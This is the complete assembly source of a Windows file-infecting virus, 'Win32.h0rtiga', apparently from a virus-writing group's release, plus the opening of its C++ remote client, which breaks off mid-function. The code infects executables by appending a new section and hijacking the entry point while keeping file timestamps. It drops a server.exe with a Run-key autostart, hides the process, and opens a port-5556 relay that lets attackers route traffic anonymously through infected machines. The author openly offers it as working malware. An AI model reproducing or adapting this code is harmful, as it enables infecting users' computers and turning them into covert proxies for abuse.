Win32.Hortiga.asm

; Win32.Hortiga
;
; Win32.h0rtiga Coded by |Zan [@deepzone.org]
;
; ?000 DeepZone - Digital Security Center
;
; http://www.deepzone.org
;
;----------------------------------------------------------------------------
;
; Win32.Hortiga
;
;
; AVP's description
;
; - http://www.avp.ch/avpve/newexe/win32/hortiga.stm)
;
; It is a nonmemory resident parasitic Win32 virus. It searches
; for PE EXE files (Windows executables), then writes itself to
; the end of the file. To reserve a place for its code the virus
; creates a new section with the ".|Zan" name at the end of the
; file.
;
; The virus has "anonymous IP" ability. That means that a hacker
; may use infected machines as a "proxy server" sending packets
; with infected machine's IP address:
;
; IP1 IP2 IP3
; Hacker's machine -----< Infected machine -----< Target machine
;
; A hacker connects to the infected machine by using his IP
; address (IP1) and forces the infected machine to forward packets
; to the target machine, then infected machine's IP address (IP2) is
; used. Using this mechanism the hacker hides his IP address.
;
; The virus installs its "anonymous" component as stand-alone program
; using the filename SERVER.EXE. That program is created in the
; Windows system directory and registered in the auto-start registry
; key:
;
; HKLMSoftwareMicrosoftWindowsCurrentVersionRun
; h0rtiga Server = "Windirserver.exe"
;
; where "Windir" is the Windows system folder.
;
; The virus contains the text string:
;
; (c) 2000. Win9x.h0rtiga v1.0 Server activated - http://mareasvivas.cjb.net
; Coded by |Zan - izan@galaxycorp.com / izan@deepzone.org
; Who are you???
;
; This string is used as ID-text to connect to the hacker's machine
; with the server on the infected machine.
;
; -- end AVP description
;
;
; Win32.h0rtiga by |Zan
;
; h0rtiga is a simple non resident parasite. It wasn't developed
; like a traditional viruse but it finished infecting win32 machines.
;
; Originally it was proof of concept code showing win9x's risks and
; holes in a spanish whitepaper called "Win32.h0rtiga : Anonimato e
; Intrusi?n ".
;
; When extra code was added to patch PE files inoculating h0rtiga code
; in arbitrary files it became a virus ...
;
; h0rtiga infects adding an extra section/object called ".|Zan". It
; can infect under win9x/NT/2k but its payload only play in win9x.
;
; This runtime infector doesn't implement "modern" features like stealth,
; encryptation or polymorphism but if "classic" features like timestamp
; or file attributes.
;
; Infecting with an extra section is "hard" and it had been more
; easy adding viral code to last section but i wanted a clear, fast
; and easy uninfection so i decided the longest, primitive & hard way to
; implement.
;
; h0rtiga payload plays a single server listening on 5556 port. This
; server lets full arbitrary relay and can be handle with a generic
; h0rtiga's client. yes, that's ... now you can imagine black hats
; exploiting infected win9x machines: anonymous surfing, faking e-mails,
; bypassing IRC bans ...
;
; Code contains clear labels and a lot of EQUs and structures documenting
; viral code ...
;
;
; greetings ...
; -------------
;
; spanish sec/hack groups, ADM, beavuh, b0f, non-commercial groups ...
;
; ... and, of course VLAD & 29A
;
; i'd like to give special thanks to Bumblebee/29A (fantastic VXer).
;
; I hope that h0rtiga can be a good contribution to this fantastic 29A
; release ;)
;
;
; deep greets
; -----------
;
; ^Anuska^< If you hit one time this key we'll hack this enterprise ...
; if you hit two times we'll hack their networks ... sorry
; mouse support isn't available ;)
;
; TheWizard< Win ME is the new msoft OS version ... I hope that now it
; can handle windows ;)
;
; Nemo< next step ... mmmm ... i don't know ... hack the fix again ?
;
;
; Special greetings ...
; ---------------------
;
; Win32.h0rtiga is dedicated to Sandra ...
;
;


;----------------------------------------------------------------------------
; Win32.h0rtiga - begin virus code (w32h0rtiga.asm)
;----------------------------------------------------------------------------

;------------------------------------------------------------
;Compiler options
;------------------------------------------------------------

.386P
locals
jumps
.model flat,STDCALL


;------------------------------------------------------------
;Just to show a message on virus 1st generation
;------------------------------------------------------------

extrn MessageBoxA:PROC
extrn GetModuleHandleA:PROC
extrn ExitProcess:PROC


;----------------------------------------------------------------------------
;Data Section
;----------------------------------------------------------------------------

.data

db 0


;----------------------------------------------------------------------------
;Code Section
;----------------------------------------------------------------------------

.code

start:

;------------------------------------------------------------
;h0rtiga main
;------------------------------------------------------------

mov eax, [esp]
gKerloop: xor edx, edx
dec eax
mov dx, [eax+3ch]
test dx, 0f800h
jnz gKerloop
cmp eax, [eax+edx+34h]
jnz gKerloop
call gdelta
gdelta: pop ebp
sub ebp, offset gdelta
lea edi, ebp + kernel
stosd
lea esi, ebp + sz_mGetProcAddr
call GetAPIExpK32
lea edi, ebp + ddGetProcAddress
stosd
lea esi, ebp + sz_mLoadLibraryA
call GetAPIExpK32
lea edi, ebp + ddLoadLibraryA
stosd
lea esi, ebp + sz_mKernel32
lea edi, ebp + addr_apis
mov ebx, NumAPISK32
call MakeTabla
lea esi, ebp + OSVersionInfo.dwOSVersionInfoSize
push SIZEOF_OSVERSIONINFO
pop ecx
xor al, al
delit: stosb
loop delit
lea edi, ebp + OSVersionInfo.dwOSVersionInfoSize
mov eax, SIZEOF_OSVERSIONINFO ; 148
stosd
sub edi, 4
push edi
call dword ptr [ebp + ddGetVersionExA]
test eax, eax
jz salir
cmp ebp + OSVersionInfo.dwPlatformId, VER_PLATFORM_WIN32_WINDOWS
jnz salir
call InsertaServidor
call BuscaHostToInfect
cmp eax, INVALID_HANDLE_VALUE
jz salir
xchg eax, ebx
InfectaMas: call InfecIt
call ContinuaBusqueda
test eax, eax
jnz InfectaMas
call TerminaBusqueda
salir: lea esi, ebp + OldEntryPointRVA
lodsd
xchg ebx, eax
push 0
call dword ptr [ebp + ddGetModuleHandleA]
add eax, ebx
jmp eax

;------------------------------------------------------------
;begin h0rtiga data
;------------------------------------------------------------

FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS

MAX_PATH EQU 260

WIN32_FIND_DATA STRUC
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
WFD_szFileName DB MAX_PATH DUP (?)
WFD_szAlternateFileName DB 13 DUP (?)
DB 3 DUP (?)
WIN32_FIND_DATA ENDS

SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA

INVALID_HANDLE_VALUE EQU -1
VER_PLATFORM_WIN32_WINDOWS EQU 1

_OSVERSIONINFO STRUCT
dwOSVersionInfoSize DD ?
dwMajorVersion DD ?
dwMinorVersion DD ?
dwBuildNumber DD ?
dwPlatformId DD ?
szCSDVersion DB 128 DUP (?)
_OSVERSIONINFO ENDS

SIZEOF_OSVERSIONINFO EQU SIZE _OSVERSIONINFO


sz_mGetProcAddr db 'GetProcAddress', 0
ddGetProcAddress dd ?

sz_mLoadLibraryA db 'LoadLibraryA', 0
ddLoadLibraryA dd ?

kernel dd ?
Counter dw ?
AddressTableVA dd ?
OrdinalTableVA dd ?

NumAPISK32 equ 21
sz_mKernel32 db 'KERNEL32', 0
TablaK32 db 'ExitProcess', 0
db 'GetVersionExA', 0
db 'FindFirstFileA', 0
db 'FindNextFileA', 0
db 'FindClose', 0
db 'CreateFileA', 0
db 'CreateFileMappingA', 0
db 'MapViewOfFile', 0
db 'UnmapViewOfFile', 0
db 'CloseHandle', 0
db 'SetFileAttributesA', 0
db 'SetFileTime', 0
db 'GetModuleHandleA', 0
db 'GetCommandLineA', 0
db 'GetSystemDirectoryA', 0
db 'ReadFile', 0
db 'WriteFile', 0
db 'SetFilePointer', 0
db 'GetCurrentProcessId', 0
db 'RegisterServiceProcess', 0
db 'GlobalAlloc', 0
addr_apis:
ddExitProcess dd ?
ddGetVersionExA dd ?
ddFindFirstFileA dd ?
ddFindNextFileA dd ?
ddFindClose dd ?
ddCreateFileA dd ?
ddCreateFileMappingA dd ?
ddMapViewOfFile dd ?
ddUnmapViewOfFile dd ?
ddCloseHandle dd ?
ddSetFileAttributesA dd ?
ddSetFileTime dd ?
ddGetModuleHandleA dd ?
ddGetCommandLineA dd ?
ddGetSystemDirectoryA dd ?
ddReadFile dd ?
ddWriteFile dd ?
ddSetFilePointer dd ?
ddGetCurrentProcessId dd ?
ddRegisterServiceProcess dd ?
ddGlobalAlloc dd ?


OSVersionInfo _OSVERSIONINFO ?

_maskExe db '*.EXE' , 0

MaxInfeccion equ 6

WinFindData WIN32_FIND_DATA ?

hFicActual dd ?
hCMapActual dd ?

newobject:
oname db ".|Zan", 0, 0, 0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0, 0, 0
objectflags dd 0e0000060h

SIZEOF_NEWOBJECT EQU 28h

ObjectTableOffset dd ?
NumObjects dw ?
ObjectAlign dd ?
FileAlign dd ?
ImageSize dd ?
SizeToMap dd ?
OldEntryPointRVA dd ?

hRead dd ?
hWrite dd ?
bytes_rw dd ?
sz_exec db 260 dup (?)
sz_nserver db 'server.exe', 0


addr1 dw 2
dw 0b415h
dd ?
addr2 dw 2
dw 0000h
db 192,168,0,1
sock1 dd ?
sock2 dd ?
gotit dd ?
buffsz equ 4096
adrbuff dd ?
fd_set1 dd 1,0
fd_set2 dd 1,0
fd_set struc
no dd 0
sockh dd 0
fd_set ends
ttl dd 0,64h
semaforo db 0
countbouncer db 0

msgentryserver db '(c) 2000. Win9x.h0rtiga v1.0 Server activated - http://mareasvivas.cjb.net', 13, 10
db 'Coded by |Zan - izan@galaxycorp.com / izan@deepzone.org', 13, 10, 13, 10
db 'Who are you ???', 13, 10

msgentryserverlen equ $-msgentryserver

NumAPISW32 equ 10
sz_mW32 db 'WSOCK32', 0
TablaW32 db 'WSAStartup', 0
db 'socket', 0
db 'bind', 0
db 'listen', 0
db 'accept', 0
db 'connect', 0
db 'send', 0
db 'recv', 0
db 'select', 0
db 'closesocket', 0
addr_apis2:
ddWSAStartup dd ?
ddsocket dd ?
ddbind dd ?
ddlisten dd ?
ddaccept dd ?
ddconnect dd ?
ddsend dd ?
ddrecv dd ?
ddselect dd ?
ddclosesocket dd ?

NumAPISAdv32 equ 3
sz_mAdv32 db 'ADVAPI32', 0
TablaAdv32 db 'RegCreateKeyExA', 0
db 'RegSetValueExA', 0
db 'RegCloseKey', 0
addr_apis3:
ddRegCreateKeyExA dd ?
ddRegSetValueExA dd ?
ddRegCloseKey dd ?

disposition dd ?
KeyHandle dd ?
clase db 'Run', 0
claselen equ $-clase
subkey db 'SoftwareMicrosoftWindowsCurrentVersionRun', 0

KeyValuelen dd ?
KeyName db 'h0rtiga Server', 0

;------------------------------------------------------------
;end h0rtiga data
;------------------------------------------------------------

GetAPIExpK32: mov edx, esi
@_1: cmp byte ptr [esi], 0
jz @_2
inc esi
jmp @_1
@_2: inc esi
sub esi, edx
mov ecx, esi
xor eax, eax
mov word ptr [ebp + Counter], ax
mov esi, [ebp + kernel]
add esi, 3Ch
lodsw
add eax, [ebp + kernel]
mov esi, [eax + 78h]
add esi, [ebp + kernel]
add esi, 1Ch
lodsd
add eax, [ebp + kernel]
mov dword ptr [ebp + AddressTableVA], eax
lodsd
add eax, [ebp + kernel]
push eax
lodsd
add eax, [ebp + kernel]
mov dword ptr [ebp + OrdinalTableVA], eax
pop esi
@_3: push esi
lodsd
add eax, [ebp + kernel]
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
add esi,4
inc word ptr [ebp + Counter]
jmp @_3
@_4: pop esi
movzx eax, word ptr [ebp + Counter]
shl eax,1
add eax,dword ptr [ebp + OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr [ebp + AddressTableVA]
mov esi,eax
lodsd
add eax, [ebp + kernel]
ret
MakeTabla: push esi
call dword ptr [ebp + ddLoadLibraryA]
push ebx
pop ecx
push eax
pop ebx
buki: lodsb
test al, al
jnz buki
MT1: push ecx
push esi
push ebx
call dword ptr [ebp + ddGetProcAddress]
push eax
MT2: lodsb
test al, al
jnz MT2
pop eax
stosd
pop ecx
loop MT1
ret
BuscaHostToInfect:
lea edi, ebp + Counter
xor ax, ax
stosw
lea esi, ebp + WinFindData
push esi
lea esi, ebp + _maskExe
push esi
call dword ptr [ebp + ddFindFirstFileA]
ret

InfecIt: push ebx
lea esi, ebp + WinFindData.WFD_szFileName
call EsInfectable
cmp eax, -1
jz II_error
call EliminaAtributosFichero
test eax, eax
jz II_error
lea esi, ebp + WinFindData.WFD_szFileName
push dword ptr [ebp + SizeToMap]
pop ebx
call Open&Maped_File_RW
cmp eax, -1
jz II_error
push eax
pop ebx
add eax, [ebx + 3ch]
push eax
pop edx
lea edi, ebp + ImageSize
mov eax, dword ptr [edx + 50h]
stosd
lea edi, ebp + NumObjects
mov ax, word ptr [edx + 6h]
stosw
lea edi, ebp + ObjectAlign
mov eax, dword ptr [edx + 38h]
stosd
mov eax, dword ptr [edx + 3ch]
stosd
xor eax, eax
add ax, word ptr [edx + 14h]
add eax, 18h
add eax, [ebx + 3ch]
add eax, ebx
mov dword ptr [ebp + ObjectTableOffset], eax
push eax
pop esi
xor eax, eax
mov ax, word ptr [ebp + NumObjects]
push SIZEOF_NEWOBJECT
pop ecx
xor edx, edx
mul ecx
add esi, eax
inc word ptr [ebp + NumObjects]
push esi
pop edi
mov eax, [edi - SIZEOF_NEWOBJECT + 8]
add eax, [edi - SIZEOF_NEWOBJECT + 12]
mov ecx, dword ptr [ebp + ObjectAlign]
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + RVA], eax
mov ecx, dword ptr [ebp + FileAlign]
push virlenght
pop eax
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + physicalsize], eax
mov ecx, dword ptr [ebp + ObjectAlign]
push virlenght
pop eax
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + virtualsize], eax
mov eax, [edi - SIZEOF_NEWOBJECT + 20]
add eax, [edi - SIZEOF_NEWOBJECT + 16]
mov ecx, dword ptr [ebp + FileAlign]
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + physicaloffset], eax
push virlenght
pop eax
add eax, dword ptr [ebp + ImageSize]
mov ecx, dword ptr [ebp + ObjectAlign]
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + ImageSize], eax
lea esi, ebp + newobject
mov ecx, 10
rep movsd
lea esi, ebp + NumObjects
mov edx, [ebx + 3ch]
add edx, ebx
lea edi, [edx + 6h]
movsw
lea esi, ebp + ImageSize
lea edi, [edx + 50h]
movsd
mov eax, dword ptr [ebp + OldEntryPointRVA]
push eax
push ebx
pop edx
add edx, [ebx + 3ch]
mov eax, dword ptr [edx + 28h]
lea edi, ebp + OldEntryPointRVA
stosd
mov eax, dword ptr [ebp + RVA]
mov dword ptr [edx + 28h], eax
lea esi, ebp + start
mov eax, dword ptr [ebp + physicaloffset]
add eax, ebx
xchg eax, edi
mov ecx, virlenght
rep movsb
pop eax
mov dword ptr [ebp + OldEntryPointRVA], eax
mov word ptr [edx + 4ch], 0d00dh
add ebp + Counter, 1
xchg eax, ebx
call Close&UnMaped_File_RW
call RestauraAtributosFichero
test eax, eax
jz II_error
II_error: pop ebx
ret

ContinuaBusqueda:
cmp [ebp + Counter], MaxInfeccion
jz CB_end
lea esi, ebp + WinFindData
push esi
push ebx
call dword ptr [ebp + ddFindNextFileA]
ret
CB_end: xor eax, eax
ret

TerminaBusqueda:
push ebx
call dword ptr [ebp + ddFindClose]
ret

Open&Maped_File_RW:
push 0
push 0
push 3h
push 0
push 0
push 80000000h or 40000000h
push esi
call dword ptr [ebp + ddCreateFileA]
cmp eax, -1
jz OMF_error
lea edi, ebp + hFicActual
stosd
push 0
push ebx
push 0
push 4h
push 0
push eax
call dword ptr [ebp + ddCreateFileMappingA]
test eax, eax
jz OMF_error
lea edi, ebp + hCMapActual
stosd
push ebx
push 0
push 0
push 2h
push eax
call dword ptr [ebp + ddMapViewOfFile]
test eax, eax
jz OMF_error
ret
OMF_error: push -1
pop eax
ret

Close&UnMaped_File_RW:
push eax
call dword ptr [ebp + ddUnmapViewOfFile]
test eax, eax
jz CUF_error
lea esi, ebp + WinFindData.WFD_ftLastWriteTime
push esi
lea esi, ebp + WinFindData.WFD_ftLastAccessTime
push esi
lea esi, ebp + WinFindData.WFD_ftCreationTime
push esi
lea esi, ebp + hFicActual
lodsd
push eax
call dword ptr [ebp + ddSetFileTime]
lea esi, ebp + hCMapActual
lodsd
push eax
call dword ptr [ebp + ddCloseHandle]
lea esi, ebp + hFicActual
lodsd
push eax
call dword ptr [ebp + ddCloseHandle]
test eax, eax
jz CUF_error
xor eax, eax
ret
CUF_error: push -1
pop eax
ret

EliminaAtributosFichero:
push 80h
lea esi, ebp + WinFindData.WFD_szFileName
push esi
call dword ptr [ebp + ddSetFileAttributesA]
ret

RestauraAtributosFichero:
lea esi, ebp + WinFindData.WFD_dwFileAttributes
lodsd
push eax
lea esi, ebp + WinFindData.WFD_szFileName
push esi
call dword ptr [ebp + ddSetFileAttributesA]
ret

EsInfectable:
push 0
push 0
push 3h
push 0
push 0
push 80000000h
push esi
call dword ptr [ebp + ddCreateFileA]
cmp eax, -1
jz OMFR_error
lea edi, ebp + hFicActual
stosd
push 0
push 0
push 0
push 2h
push 0
push eax
call dword ptr [ebp + ddCreateFileMappingA]
test eax, eax
jz OMFR_error
lea edi, ebp + hCMapActual
stosd
push 0
push 0
push 0
push 4h
push eax
call dword ptr [ebp + ddMapViewOfFile]
test eax, eax
jz OMFR_error
push eax
push eax
pop edx
add eax, [edx + 3ch]
cmp word ptr [edx], 'ZM'
jnz NoInfect
cmp word ptr [eax], 'EP'
jnz NoInfect
cmp word ptr [eax + 4ch], 0d00dh
jnz SiInfect
NoInfect: push -1
pop ebx
jmp SNInfect
SiInfect: call CalculaSizeToMap
SNInfect: call dword ptr [ebp + ddUnmapViewOfFile]
test eax, eax
jz OMFR_error
lea esi, ebp + hCMapActual
lodsd
push eax
call dword ptr [ebp + ddCloseHandle]
test eax, eax
jz OMFR_error
lea esi, ebp + hFicActual
lodsd
push eax
call dword ptr [ebp + ddCloseHandle]
test eax, eax
jz OMFR_error
xchg ebx, eax
ret
OMFR_error: push -1
pop eax
ret

CalculaSizeToMap:
push eax
pop ebx
xchg ebx, edx
xor eax, eax
mov ax, word ptr [edx + 6h]
mov word ptr [ebp + NumObjects], ax
xor eax, eax
add ax, word ptr [edx + 14h]
add eax, 18h
add eax, edx
mov dword ptr [ebp + ObjectTableOffset], eax
push eax
pop esi
xor eax, eax
mov ax, word ptr [ebp + NumObjects]
push SIZEOF_NEWOBJECT
pop ecx
xor edx, edx
mul ecx
add esi, eax
xor edx, edx
add edx, [ebx + 3ch]
add edx, ebx
lea edi, ebp + FileAlign
mov eax, dword ptr [edx + 3ch]
stosd
mov ecx, dword ptr [ebp + FileAlign]
push virlenght
pop eax
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + physicalsize], eax
mov eax, [esi - SIZEOF_NEWOBJECT + 20]
add eax, [esi - SIZEOF_NEWOBJECT + 16]
mov ecx, dword ptr [ebp + FileAlign]
xor edx, edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + physicaloffset], eax
xchg ebx, eax
lea esi, ebp + physicalsize
lodsd
add ebx, eax
mov dword ptr [ebp + SizeToMap], ebx
ret

InsertaRegistro:
lea esi, ebp + sz_mAdv32
lea edi, ebp + addr_apis3
mov ebx, NumAPISAdv32
call MakeTabla
lea esi, ebp + disposition
push esi
add esi, 4
push esi
push 0
push 0f003fh
push 0
add esi, 4
push esi
push 0
add esi, claselen
push esi
push 80000002h
call dword ptr [ebp + ddRegCreateKeyExA]
test eax, eax
jnz reg_error
lea esi, ebp + KeyHandle
lodsd
xchg eax, ebx
push dword ptr [ebp + KeyValuelen]
lea esi, ebp + sz_exec
push esi
push 1h
push 0
lea esi, ebp + KeyName
push esi
push ebx
call dword ptr [ebp + ddRegSetValueExA]
test eax, eax
jnz reg_error
push ebx
call dword ptr [ebp + ddRegCloseKey]
reg_error: ret

InsertaServidor:
call dword ptr [ebp + ddGetCommandLineA]
push eax
pop esi
lea edi, ebp + sz_exec
ot_bmas: lodsb
stosb
test al, al
jnz ot_bmas
push 0
push 00000080h
push 3
push 0
push 00000001h
push 80000000h
lea esi, ebp + sz_exec
push esi
call dword ptr [ebp + ddCreateFileA]
cmp eax, -1
jz errorEx
mov dword ptr [ebp + hRead], eax
push 260
lea ebx, ebp + sz_exec
push ebx
call dword ptr [ebp + ddGetSystemDirectoryA]
test eax, eax
jz errorEx
add eax, ebx
xchg eax, edi
lea esi, ebp + sz_nserver
ot_bmas2: lodsb
stosb
test al, al
jnz ot_bmas2
mov dword ptr [ebp + KeyValuelen], 0
lea esi, ebp + sz_exec
calclenstr: lodsb
inc dword ptr [ebp + KeyValuelen]
test al, al
jnz calclenstr
call InsertaRegistro
push 0
push 00000080h
push 1
push 0
push 0h
push 40000000h
lea esi, ebp + sz_exec
push esi
call dword ptr [ebp + ddCreateFileA]
cmp eax, -1
jz errorEx
mov dword ptr [ebp + hWrite], eax
read_again: xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 260
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddReadFile]
test eax, eax
jz errorEx
lea esi, ebp + bytes_rw
lodsd
test eax, eax
jz fdf
xchg eax, ebx
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push ebx
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddWriteFile]
test eax, eax
jnz read_again
jz errorEx
fdf: push 0
push 0
push 3ch
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 4
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddReadFile]
push 0
push 0
lea esi, ebp + sz_exec
lodsd
add eax, 40
push eax
push eax
pop ebx
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 4
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddReadFile]
lea esi, ebp + sz_exec
lodsd
add eax, offsServer
push 0
push 0
push ebx
push eax
pop ebx
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
push ebx
pop eax
lea edi, ebp + sz_exec
stosd
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 4
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddWriteFile]
push 0
push 0
push 3ch
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 4
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddReadFile]
push 0
push 0
lea esi, ebp + sz_exec
lodsd
add eax, 92
push eax
push eax
pop ebx
lea esi, ebp + hRead
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
push 0
push 0
push ebx
push eax
pop ebx
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddSetFilePointer]
push 2
pop eax
lea edi, ebp + sz_exec
stosd
xor eax, eax
push eax
lea edi, ebp + bytes_rw
push edi
stosd
push 2
lea esi, ebp + sz_exec
push esi
lea esi, ebp + hWrite
lodsd
push eax
call dword ptr [ebp + ddWriteFile]
lea esi, ebp + hRead
push esi
call dword ptr [ebp + ddCloseHandle]
test eax, eax
jz errorEx
lea esi, ebp + hWrite
push esi
call dword ptr [ebp + ddCloseHandle]
errorEx: ret
error: push 0
call dword ptr [ebp + ddExitProcess]

offsServer equ $-start

server: mov eax, [esp]
gKerloop2: xor edx, edx
dec eax
mov dx, [eax + 3ch]
test dx, 0f800h
jnz gKerloop2
cmp eax, [eax + edx + 34h]
jnz gKerloop2
call gdelta2
gdelta2: pop ebp
sub ebp, offset gdelta2
lea edi, ebp + kernel
stosd
lea esi, ebp + sz_mGetProcAddr
call GetAPIExpK32
lea edi, ebp + ddGetProcAddress
stosd
lea esi, ebp + sz_mLoadLibraryA
call GetAPIExpK32
lea edi, ebp + ddLoadLibraryA
stosd
lea esi, ebp + sz_mKernel32
lea edi, ebp + addr_apis
mov ebx, NumAPISK32
call MakeTabla
lea esi, ebp + sz_mW32
lea edi, ebp + addr_apis2
mov ebx, NumAPISW32
call MakeTabla
call dword ptr [ebp + ddGetCurrentProcessId]
push 1
push eax
call dword ptr [ebp + ddRegisterServiceProcess]
push buffsz
push 0
call dword ptr [ebp + ddGlobalAlloc]
cmp eax, -1
je error
mov dword ptr [ebp + adrbuff], eax
push eax
push 101h
call dword ptr [ebp + ddWSAStartup]
push 6
push 1
push 2
call dword ptr [ebp + ddsocket]
cmp eax, -1
je error
mov dword ptr [ebp + sock1], eax
push 16
lea esi, ebp + addr1
push esi
lea esi, ebp + sock1
lodsd
push eax
call dword ptr [ebp + ddbind]
cmp eax, -1
je error
push 1
lea esi, ebp + sock1
lodsd
push eax
call dword ptr [ebp + ddlisten]
mov byte ptr [ebp + semaforo], 0
configit:
mov al, byte ptr [ebp + semaforo]
test al, al
jnz QueEs?
push 0
push 0
lea esi, ebp + sock1
lodsd
push eax
call dword ptr [ebp + ddaccept]
mov dword ptr [ebp + gotit], eax
push 0
push msgentryserverlen
lea esi, ebp + msgentryserver
push esi
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddsend]
push 0
push buffsz
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddrecv]
xchg ebx, eax
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddclosesocket]
cmp ebx, 8
jnz configit
lea esi, ebp + adrbuff
lodsd
xchg esi, eax
lodsw
mov byte ptr [ebp + semaforo], al
lea edi, ebp + addr2
add edi, 2
movsw
movsd
jmp configit
QueEs?:
dec al
test al, al
jz bis0
mov byte ptr [ebp + semaforo], 0
jmp configit
bis0: mov byte ptr [ebp + countbouncer], 20
bis: push 0
push 0
lea esi, ebp + sock1
lodsd
push eax
call dword ptr [ebp + ddaccept]
mov dword ptr [ebp + gotit], eax
mov dword ptr [ebp + fd_set1.sockh], eax
push 6
push 1
push 2
call dword ptr [ebp + ddsocket]
cmp eax, -1
je error
mov dword ptr [ebp + sock2], eax
mov dword ptr [ebp + fd_set2.sockh], eax
push 16
lea esi, ebp + addr2
push esi
lea esi, ebp + sock2
lodsd
push eax
call dword ptr [ebp + ddconnect]
cmp eax, -1
je nosok2
main_lp: lea esi, ebp + ttl
push esi
push 0
push 0
lea esi, ebp + fd_set1
push esi
push 10h
call dword ptr [ebp + ddselect]
cmp eax, -1
je outnow
cmp eax, 1
je r1w2
mov dword ptr [ebp + fd_set1.no], 1
lea esi, ebp + ttl
push esi
push 0
push 0
lea esi, ebp + fd_set2
push esi
push 10h
call dword ptr [ebp + ddselect]
cmp eax, -1
je outnow
cmp eax, 1
je r2w1
mov dword ptr [ebp + fd_set2.no], 1
jmp main_lp
outnow: lea esi, ebp + sock2
lodsd
push eax
call dword ptr [ebp + ddclosesocket]
nosok2: lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddclosesocket]
mov al, byte ptr [ebp + countbouncer]
test al, al
jz byebounz
dec al
mov byte ptr [ebp + countbouncer], al
jmp bis
byebounz: mov byte ptr [ebp + semaforo], 0
jmp configit
r1w2: push 0
push buffsz
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddrecv]
or eax, eax
jz outnow
cmp eax, -1
je outnow
push 0
push eax
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + sock2
lodsd
push eax
call dword ptr [ebp + ddsend]
cmp eax, -1
je outnow
jmp main_lp
r2w1: push 0
push buffsz
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + sock2
lodsd
push eax
call dword ptr [ebp + ddrecv]
or eax, eax
jz outnow
cmp eax, -1
je outnow
push 0
push eax
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddsend]
cmp eax, -1
je outnow
jmp main_lp

virlenght equ $-start

zero_generation:

mov ebx, offset f_generation
push 0

call GetModuleHandleA
xchg eax, ebx
sub eax, ebx
lea edi, OldEntryPointRVA
stosd
jmp start

f_generation:

push 0
push offset m_szTitle
push offset m_szCopyright
push 0
call MessageBoxA
push 0
call ExitProcess

m_szTitle db '-- Coded by |Zan [ 1st generation ]', 0
m_szCopyright db '-=[ (c) 2000. Win32.h0rtiga virus will run now ... ]=-', 0


end zero_generation


;----------------------------------------------------------------------------
; Win32.h0rtiga - end virus code (w32h0rtiga.asm)
;----------------------------------------------------------------------------

;----------------------------------------------------------------------------
; Win32.h0rtiga - begin client code (h0rtclient.cpp/Visual C++ 6.0)
;----------------------------------------------------------------------------

#include >iostream.h<
#include >string.h<
#include >stdlib.h<
#include >winsock2.h<

#define MAX_BANNER 500
#define ACCION_BOUNCE 1

typedef unsigned char db;
typedef unsigned short dw;
typedef unsigned long dd;


typedef struct {
db accion;
dw puertoremoto;
dd direccion;
} Conf_Remota;

dd addrtmp;

void MostrarCreditos () {

cout >> "

(c) 2000 DeepZone - h0rtiga client (Win32) ...

"
>> " Coded by |Zan - izan@galaxycorp.com


"
>> "Uso : h0rtclient >h0rtiga host< >port< >new host< >port<
"
>> "e.j.: h0rtclient host.com 5556 www.pandasoftware.es 80

";
cout.flush();

}


void SetEstructura(Conf_Remota *cremota, db acc, dd dire, dw premote) {

cremota-<accion = acc;
cremota-<direccion = dire;
cremota-<puertoremoto = premote;

}


void main(int argc, char *argv[]) {

int s, i;
